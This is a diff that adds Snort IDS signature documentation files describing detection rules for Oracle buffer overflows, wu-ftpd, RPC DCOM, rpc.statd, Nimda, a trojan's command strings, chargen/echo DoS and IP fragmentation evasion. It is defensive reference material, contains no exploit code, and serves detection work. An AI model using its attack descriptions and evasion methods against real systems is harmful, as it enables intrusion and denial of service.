+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the "fname" variable to cause
+the overflow. The result could permit the attacker to gain escalated
+privileges and run code of their choosing. This attack requires an
+attacker to logon to the database with a valid username and password
+combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck633.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/534.txt
+++ snort-2.8.5.2/doc/signatures/534.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+534
+
+--
+Summary:
+This event is generated when an attempt is made to gain access to
+private resources using Samba.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to use Samba to gain
+access to private or administrative shares on a host.
+
+--
+Affected Systems:
+	All systems using Samba for file sharing.
+	All systems using file and print sharing for Windows.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+direct access to Windows adminsitrative shares.
+
+--
+Ease of Attack:
+Simple. Exploit software is not required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2541.txt
+++ snort-2.8.5.2/doc/signatures/2541.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+2541
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft implementation of SSL Version 3.
+
+--
+Impact:
+Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in the handling of SSL Version 3 requests that
+can be manipulated to cause a DoS condition in various software 
+implementations used on Microsoft operating systems.
+
+The condition exists because of poor error handling routines in the
+Microsoft Secure Sockets Layer (SSL) library. SSL requests containing an
+invalid field, sent to vulnerable systems can cause the affected host to stop 
+handling any further requests.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems using SSL
+
+--
+Attack Scenarios:
+An attcker needs to make an SSL request to an affected system that
+contains an invalid field.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/338.txt
+++ snort-2.8.5.2/doc/signatures/338.txt
@@ -0,0 +1,60 @@
+SID:
+338
+--
+
+Rule:
+--
+
+Summary:
+This event is generated when an attack attempt is made against an ftp 
+server possibly running a vulnerable ftpd
+--
+
+Impact:
+Possible remote execution of commands on the affected server as the root user
+--
+
+Detailed Information:
+The Washington University ftp daemon (wu-ftpd) does not perform proper 
+checking in its SITE EXEC implementation, and allows user input to be 
+sent directly to printf. This allows an attacker to overwrite data and 
+eventually execute code on the server.
+
+--
+
+Affected Systems:
+Any system running wu-ftpd 2.6 .0 or below
+--
+
+Attack Scenarios:
+A remote attacker will attempt to execute commands on the ftp server 
+with root user privileges, over writing or modifying system files. This 
+can be done with anonymous and real user logins.
+--
+
+Ease of Attack:
+Simple, Exploits exist
+--
+
+False Positives:
+None known
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Upgrade to latest version which has fixes for this problem. Maybe even get rid of wu-ftp with something more secure
+--
+
+Contributors:
+Snort documentation contributed by matthew harvey <indexone@yahoo.com>
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2817.txt
+++ snort-2.8.5.2/doc/signatures/2817.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2817
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure add_column_group_to_flavor
+. This procedure is included in
+sys.dbms_repcat_fla_mas.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1960.txt
+++ snort-2.8.5.2/doc/signatures/1960.txt
@@ -0,0 +1,58 @@
+Rule:
+
+--
+Sid:
+1960
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) nfsd is listening.
+
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port nfsd is using.  Attackers can also learn what versions of the nfsd protocol are accepted by nfsd. 
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as nfsd run.  The nfsd RPC service starts the Network File System (NFS) server daemon that handles file system requests from clients. Once a client mounts an NFS file system, the nfsd daemon handles access to the mount point and associated directories.  Several vulnerabilities are associated with nfsd.
+
+--
+Affected Systems:
+All hosts running the UNIX portmapper.
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where nfsd runs.  This may be a precursor to accessing nfsd.
+
+--
+Ease of Attack:
+Easy.  
+
+--
+False Positives:
+If a legitimate remote user is allowed to access nfsd, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for nfsd, not probes of the nfsd service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the nfsd service itself. An attacker may attempt to go directly to the nfsd port without querying the portmapper service, which would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000760.txt
+++ snort-2.8.5.2/doc/signatures/100000760.txt
@@ -0,0 +1,56 @@
+
+
+Rule:
+
+--
+Sid:
+100000760
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "The Banner Engine" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "text" parameter in the "top.php" script used by the "The Banner Engine" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using The Banner Engine
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3016.txt
+++ snort-2.8.5.2/doc/signatures/3016.txt
@@ -0,0 +1,90 @@
+Rule: 
+
+--
+Sid: 
+3016
+-- 
+Summary: 
+This event is generated when an attempt is made to request a connection on port 63536 using the Insane Network 4.0 trojan.
+
+-- 
+
+Impact: 
+If connected, the attacker could remotetly execute a multitude of functions resulting in a full compromise of the victim's machine.
+
+--
+Detailed Information:
+Insane Network 4.0 uses port 2000 as its default, but -2000, or port 63536, incarnations also exist.
+Insane Network 4.0 has a number of functions. The following strings are indicative of a particular Insane Network 4.0 attack.
+Be aware that some versions of Insane Network 4.0 will send their attack strings one letter at a time. For example,
+to send the bomb command, some versions will send only one letter per packet, resulting in bomb being spelled out in multiple packets.
+
+Format: Name of function (Description of what it does *only if necessary*) - string to look for
+
+Bomb ("Bombs" monitor) - bomb
+Snow (Makes monitor snowy) - snow
+Melt ("Melts" the screen) - melt
+Reverse (Reverses screen) - reverse
+Copy File - cp followed by a file name and the destination path
+Ctrl-Alt-Del (Enable/Disable Ctrl-Alt-Del) - cad -e (for enable) cad -d (for disable)
+Delete File - rm followed by a file name, including path
+File List - ls followed by directory
+File Sharing (Gets shared file password information) - share
+Dial-Up Passwords (Get Dial-up password information) - passwd
+Make Text File - mktext
+Popup Message - popup
+Read File - cat followed by a file name, including path
+Reboot - reboot
+Registry Edit - regrun
+Rename File - ren followed by a file and its new name
+Run File - exec followed by a file name, including path
+Shutdown - shutdown
+Taskbar (Enable/Disable Task Bar) - task -e (for enable) tast -d (for disable)
+Telnet - telnet
+
+--
+Affected Systems:
+Windows 95/98/ME/NT/2000
+
+--
+
+Attack Scenarios: 
+The victim must first install the server. Be wary of suspicious files because they often can be backdoors in disguise.
+Once the victim mistakenly installs the server program, the attacker usually will employ an IP scanner program
+to find the IP addresses of victims that have installed the program. Then the attacker enters the IP address, port number (which 
+is assigned to the server program by the attacker: default is 2000), and presses the connect button and he has access to your computer.
+
+-- 
+
+Ease of Attack: 
+Easy. Simply a matter of pressing the connect button once the victim has installed the server.
+
+
+-- 
+
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+-- 
+
+Corrective Action: 
+Remove insane network.exe and commands.txt
+Kill insane network.exe in the process list
+
+Keep your anti-virus software updated with the latest virus definitions.
+
+--
+Contributors:
+Original Rule Writer: Ricky Macatee <rmacatee@sourcefire.com> 
+Sourcefire Research Team
+
+-- 
+Additional References:
+http://www.pestpatrol.com/PestInfo/i/insane_network.asp
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/486.txt
+++ snort-2.8.5.2/doc/signatures/486.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+
+Sid:
+486
+
+--
+
+Summary:
+This event is generated when an ICMP destination unreachable
+(Communication with Destination Host is Administratively Prohibited)
+datagram is detected on the network.  
+
+--
+
+Impact:
+This message is generated when a datagram failed to traverse the
+network.  This could be an indication of routing or network problems.
+
+--
+
+Detailed Information: 
+This rule generates informational events about the network.  Large
+numbers of these messages on the network could indication routing
+problems, faulty routing devices, or improperly configured hosts.
+
+--
+
+Attack Scenarios:
+None known.
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate these types of ICMP datagrams.
+
+--
+
+False Positives:
+None known.
+
+--
+
+False Negatives:
+None known.
+
+--
+
+Corrective Action:
+This rule detects informational network information, so no corrective
+action is necessary.
+
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None.
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1337.txt
+++ snort-2.8.5.2/doc/signatures/1337.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+1337
+
+--
+Summary:
+Attempted chgrp command access via web
+
+--
+Impact:
+Attempt to change group permissions on a webserver.
+
+--
+Detailed Information:
+This is an attempt to change file permissions on a machine. Using this
+command anattacker may change the permissions of a file to suit his
+own needs,make a file readable, writeable or excutable to other groups
+that wouldotherwise not have these special permissions.
+
+--
+Attack Scenarios:
+The attacker can make a standard HTTP request that contains '/bin/chgrp'
+in the URIwhich can then change file permissions of files present on
+the host.Thiscommand may also be requested on a command line should
+the attacker gainaccess to the machine.
+
+--
+Ease of Attack:
+Simple HTTP request.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Webservers should not be allowed to view or execute files and binaries
+outside of it'sdesignated web root or cgi-bin.Whenever possible,
+sensitive filesand certain areas of the filesystem should have the
+system immutableflag set to negate the use of the chgrp command. On
+BSD derived systems,setting the systems runtime securelevel also
+prevents the securelevelfrom being changed. (note: the securelevel can
+only beincreased)
+
+--
+Contributors:
+Sourcefire Research Team
+
+-- 
+Additional References:
+sid: 1336
+sid: 1338
+
+man chgrp
+
+man chmod
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1293.txt
+++ snort-2.8.5.2/doc/signatures/1293.txt
@@ -0,0 +1,66 @@
+Rule: 
+
+--
+Sid:
+1293
+
+--
+Summary: 
+This event is generated when traffic indicating Nimda worm activity is
+detected.
+
+--
+Impact:
+Possible infection by the Nimda virus.
+
+--
+Detailed Information:
+Nimda spreads by file infection, mass emailer, file share, or IIS unicode exploit 
+to attack unpatched systems.
+
+--
+Affected Systems:
+	Windows 95
+	Windows 98
+	Windows ME
+	Windows 2000
+
+--
+Attack Scenarios:
+An unpatched server is connected to the internet and is infected or
+an infected email is opened. Once infected the worm spreads itself.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Check the suspect host for signs of infection. Apply patches 
+or upgrade the operating system
+
+--
+Contributors:
+Snort documentation contributed by Timothy Vienneau
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Microsoft:
+http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/topics/virus/nimda.asp
+
+F-Secure:
+http://www.f-secure.com/v-descs/nimda.shtml
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2049.txt
+++ snort-2.8.5.2/doc/signatures/2049.txt
@@ -0,0 +1,58 @@
+Rule:
+
+--
+Sid:
+2049
+
+--
+Summary:
+a MS-SQL database.
+
+--
+Impact:
+Disclosure of an instance of MS-SQL running on a host.
+
+--
+Detailed Information:
+nessus is being used to query for the existance of a MS-SQL database 
+running on a host. This may be the prelude to an attack against the 
+service.
+
+--
+Affected Systems:
+All systems running MS-SQL.
+
+--
+Attack Scenarios:
+This is a probe, the attacker merely needs to use nessus to search the 
+target for services.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Use a firewall to deny connections to port 1434.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nessus:
+http://cgi.nessus.org/plugins/dump.php3?id=10674
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1140.txt
+++ snort-2.8.5.2/doc/signatures/1140.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1140
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/522.txt
+++ snort-2.8.5.2/doc/signatures/522.txt
@@ -0,0 +1,86 @@
+Rule:  
+
+--
+Sid:
+522
+
+--
+Summary:
+This event is generated when an IPv4 fragment of dubiously small nature 
+was detected.
+
+--
+Impact:
+Many IDSes are known to have issues regarding the reassembly of IP
+fragments, and could miss an attack carried over such means.  Firewalls
+suffer from the same issues, and can be tricked into allowing packets
+through that should normally be rejected.  Furthermore, there is a small
+history of OS issues related to unorthodox fragmentation.
+
+--
+Detailed Information:
+IPv4 manages to adapt to various link layer protocols on a route via the
+fragmentation mechanism outlined in its RFC.  A router connecting two
+carrying media of varying MTU (Maximum Transmission Unit) can fragment
+packets of size too large to transmit on one wire before dispatch.  When
+datagrams stay within one MTU, the maximum packet sizes possible can be
+used without fragmentation, thus pairing flexibility with efficiency.
+
+Historically, handling of fragmentation has been less than stellar in
+both IP stacks and the IDS systems designed to protect them.  While the
+limited number of attacks based on fragmentation are easily picked up by
+anomaly- or signature-based system, IDSes which fail to properly
+reassemble fragments can miss any attack which is so fragmented.
+Firewalls have often proved susceptible to fragmented TCP or UDP
+headers, allowing traffic which should have been filtered to pass
+through.
+
+--
+Affected Systems:
+Any IDS/firewall lacking proper IPv4 fragment reassembly.
+
+--
+Attack Scenarios:
+An attacker may pass a fragment containing a TCP/UDP header which is
+allowed to pass through a firewall, then follow this up with a fragment
+which overwrites the previous headers, but is allowed due to poor
+connection tracking.
+
+An attacker may fragment an exploit, so that it is not detected by IPS
+nor filtered by IPS products.
+
+--
+Ease of Attack:
+Tools have been written to trivially fragment traffic; Dug Song's
+fragrouter program is a well-known example.
+
+--
+False Positives:
+It is unlikely that such a fragment would be seen in standard use of
+IPv4; while the last fragment in a series is typically smaller than the
+others, this signature explicilty matches the More Fragments bit.
+Nonetheless, a pedantic reading of the IPv4 RFC allows this, so long as
+the data length is a multiple of 8.
+
+--
+False Negatives:
+Attacks may still be fragmented into larger chunks.
+
+--
+Corrective Action:
+None
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Nick Black, Reflex Security <dank@reflexsecurity.com>
+
+-- 
+Additional References:
+
+IPv4 RFC:
+http://www.faqs.org/rfcs/rfc791.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3226.txt
+++ snort-2.8.5.2/doc/signatures/3226.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3226
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1914.txt
+++ snort-2.8.5.2/doc/signatures/1914.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1916
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a format
+string vulnerability associated with the Remote Procedure Call (RPC)
+rpc.statd.
+
+--
+Impact:
+Remote root access. This may permit execution of arbitrary commands with
+the privileges of root.
+
+--
+Detailed Information:
+The rpc.statd daemon is a component of Network File System (NFS) that
+implements the Network Status and Monitor (NSM) RPC functions.  NSM
+monitors the status of NFS clients and servers and maintains a list of
+hosts that have registered to be notified when an NFS host crashes. 
+There is a format string vulnerability associated with the code that
+implements the monitoring of a given host, possibly permitting the
+execution of arbitrary commands with the privileges of root. 
+
+--
+Affected Systems:
+	Conectiva Linux 4.0, 4.1, 4.2, 5.0, 5.1
+	Debian Linux 2.2, 2.3
+	Red Hat Linux 6.0, 6.1, 6.2
+	SuSE Linux 6.3, 6.4, 7.0
+	Trustix Secure Linux 1.0, 1.1
+
+--
+Attack Scenarios:
+An attacker can attempt to exploit the format string error allowing
+execution of arbitrary commands with the privileges of root.  
+
+--
+Ease of Attack:
+Simple. Exploit code is freely available. 
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to
+RPC-enabled machines.
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2043.txt
+++ snort-2.8.5.2/doc/signatures/2043.txt
@@ -0,0 +1,77 @@
+Rule:
+
+--
+Sid:
+2043
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Internet Security Association and Key Management 
+Protocol (ISAKMP).
+
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+ISAKMP is a framework for authentication using cryptographic keys. It 
+specifically defines the process of key exchange as opposed to the 
+generation of a cryptographic key.
+
+ISAKMP also details the procedures for the required security 
+associations in network security services.
+
+This event indicates that a key exchange using ISAKMP failed.
+
+--
+Affected Systems:
+All systems using cryptographic key exchange as an authentication 
+method.
+
+--
+Attack Scenarios:
+The attacker may have a store of keys associated with valid users and 
+may attempt to authenticate using a combination of username and key.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+A user may mistype a username or may be trying to authenticate using an 
+expired key.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Ensure that key exchanges are only allowed between trusted hosts.
+
+Check log files for disallowed login attempts.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+ISAKMP:
+http://www.networksorcery.com/enp/protocol/isakmp.htm
+
+RFC:
+http://www.ietf.org/rfc/rfc2407.txt
+http://www.ietf.org/rfc/rfc2408.txt
+
+IANA:
+http://www.iana.org/assignments/isakmp-registry
+
+--
--- snort-2.8.5.2.orig/doc/signatures/311.txt
+++ snort-2.8.5.2/doc/signatures/311.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid: 311
+
+--
+Summary:
+Versions of the Netscape browser including and prior to 4.75 are vulnerable to a buffer overflow that may lead to arbitrary code execution on the victim host. It is also possible to open a root shell listening on a high port on the victim host. This event is generated when a request is made to a web site exploiting this vulnerability.
+
+--
+Impact:
+System compromize presenting the attacker with the opportunity to
+execute arbitrary code on the victim host.
+
+--
+Detailed Information:
+A buffer overflow condition exists in the HTML parser on some versions of Netscape Navigator. It is possible for a remote attacker to execute arbitrary code on the victim host.
+
+It is possible to crash Netscape Communicator if a large number of characters is supplied in a command from an interactive web page.
+
+Affected Systems:
+	Netscape Navigator 4.75 and prior
+
+--
+Attack Scenarios:
+The attacker would need to supply a link on a web page or HTML email that triggers the overflow. It is also possible to cause the overflow via HTML email.
+
+Exploit scripts are available
+
+--
+Ease of Attack:
+Simple. Exploits are available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-1187
+
+Bugtraq:
+http://www.securityfocus.com/bid/822
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1319.txt
+++ snort-2.8.5.2/doc/signatures/1319.txt
@@ -0,0 +1,64 @@
+Rule:  
+--
+Sid:
+
+1319
+
+--
+Summary:
+This rule indicates that a webpage was visited the included the content "real snuff".
+
+--
+Impact:
+Someone could be violating your company's policy regarding the browsing of inappropriate content.
+
+--
+Detailed Information:
+
+This rule looks for a response from a webserver containing "real snuff".
+
+--
+Affected Systems:
+
+All
+
+--
+Attack Scenarios:
+
+Not an attack.  
+
+--
+Ease of Attack:
+
+N/A.
+
+--
+False Positives:
+
+This could have been caused by a pop-up window or spam with an embedded link to a pornographic website.  This could also be caused by somebody visiting the snort rule descriptions on the snort website.
+
+--
+False Negatives:
+
+None known.
+--
+Corrective Action:
+
+Dependent on your company's policies.   
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+-- 
+Additional References:
+
+
+
+
+
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/271.txt
+++ snort-2.8.5.2/doc/signatures/271.txt
@@ -0,0 +1,67 @@
+Rule:  
+--
+Sid:
+271
+
+--
+Summary:
+This event is generated when an attempt is made to issue a Denial of
+Service attack against a host or network by generating traffic between 
+your udp echo port and their udp chargen port.
+
+--
+Impact:
+Potential Denial of service (DoS) condition for the target host, hosts
+between the target host and the attacker, and more.
+
+--
+Detailed Information:
+Traffic was detected between the udp echo port on a host on the
+protected network and the udp chargen (character generator) service.  
+Due to the connectionless nature of udp, a single packet from the udp chargen
+service to a listening udp echo service will result in mass quantities
+of traffic back and forth between the two services.
+
+--
+Affected Systems:
+ 
+--
+Attack Scenarios:
+An attacker will find a host that still provides the udp chargen service
+and generate traffic between it and the udp echo service on a machine.
+If proper ingress/egress filtering is not in place, this traffic can be 
+trivially spoofed provided the attacker has elevated privledges on the 
+attacking/initiating machine (the source port being less than 1024).
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disable the chargen service unless it is absolutely needed, and apply
+ingress and egress filtering.
+
+Additionally, disable the udp echo service.
+
+--
+Contributors:
+Original rule writer unknown
+Snort documentation contributed by Jon Hart <warchild@spoofed.org>
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1496.txt
+++ snort-2.8.5.2/doc/signatures/1496.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1496
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
